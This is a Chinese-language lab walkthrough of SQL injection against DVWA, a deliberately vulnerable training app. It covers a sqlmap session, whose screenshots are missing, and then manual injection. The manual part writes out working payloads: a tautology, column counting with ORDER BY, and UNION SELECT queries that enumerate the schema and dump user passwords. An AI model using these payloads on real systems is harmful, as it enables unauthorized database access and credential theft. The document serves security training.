DVWA平台下Sql注入

Sql注入模块

  1. 输入一个数字,然后submit
    DVWA平台下Sql注入

  2. F12查看Cookies
    DVWA平台下Sql注入

  3. 打开sqlmap,输入命令,查看数据库
    DVWA平台下Sql注入
    DVWA平台下Sql注入

  4. 查表
    DVWA平台下Sql注入
    DVWA平台下Sql注入

  5. 查表里数据
    DVWA平台下Sql注入
    DVWA平台下Sql注入

  6. 查看字段的数据
    DVWA平台下Sql注入
    DVWA平台下Sql注入

Sql手工注入

上面用的是sqlmap获取数据库信息,现在使用手工注入来获取数据库的信息。

思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据

后端数据库语句:SELECT first_name, last_name FROM users WHERE user_id = '$id'

  1. 输入1,查询成功
    输入1' or '1'='1,返回了多个结果,说明存在字符型注入
    传到后端语句变为:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

DVWA平台下Sql注入
DVWA平台下Sql注入

  1. 输入1' or 1=1 order by 2 #,查询成功。输入1' or 1=1 order by 3 #,查询失败。说明字段为2。
    也可以通过输入1' union select 1,2 #来猜解字段数

DVWA平台下Sql注入
DVWA平台下Sql注入
DVWA平台下Sql注入

  1. 获取当前数据库,输入1' union select 1,database() #,查询成功。当前的数据库为dvwa
    DVWA平台下Sql注入

  2. 获取数据库中的表
    输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功。数据库dvwa中一共有两个表,guestbook与users
    DVWA平台下Sql注入

  3. 获取表中的字段名
    输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查询成功。users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
    DVWA平台下Sql注入

  4. 下载数据。
    输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功
    DVWA平台下Sql注入